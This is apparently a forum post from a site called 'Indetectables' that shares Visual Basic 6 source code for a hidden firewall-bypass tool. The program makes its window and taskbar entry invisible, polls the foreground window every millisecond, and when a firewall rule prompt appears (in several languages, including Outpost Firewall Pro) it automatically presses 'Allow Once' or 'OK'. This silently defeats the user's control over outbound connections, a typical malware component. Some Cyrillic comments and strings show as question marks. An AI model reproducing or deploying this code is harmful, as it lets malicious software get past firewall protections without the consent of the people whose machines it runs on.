Indetectables

Código: Seleccionar todo

Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long
Public Declare Function GetDlgCtrlID Lib "user32" (ByVal hWnd As Long) As Integer
Public Const WM_COMMAND = 273

Private Sub Form_Load()
Visible = False
App.TaskVisible = False
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()

Dim TitleBar As String
Dim Length As Long
Dim hFW As Long

Titles = Array("??????? ??????? ??? *", "Create Rule for *", _
"Creer une regle pour *", "*Regel*erstellen*", _
"Crear regla para *", "*Outpost Firewall Pro*")

hFW = GetForegroundWindow()
TitleBar = String$(256, " ")
Length = GetWindowText(hFW, TitleBar, 255)
TitleBar = Trim(TitleBar)

For i = 0 To 5 ' ????? ????? UBound ?????
If TitleBar Like Titles(i) Then

If i = 0 Then ' Ru
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "&????????? ??????????")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

If i = 1 Then ' En
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "&Allow Once")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

If i = 2 Then ' Fr
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "&Autoriser une fois")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

If i = 3 Then ' De
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "OK")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

If i = 4 Then ' Es
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "&Permitir una vez")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

If i = 5 Then ' Outpost Pro 6 En
hButton = FindWindowEx(hFW, ByVal 0&, vbNullString, "OK")
SendMessage hFW, WM_COMMAND, GetDlgCtrlID(hButton), hButton
End If

End If
Next i

End Sub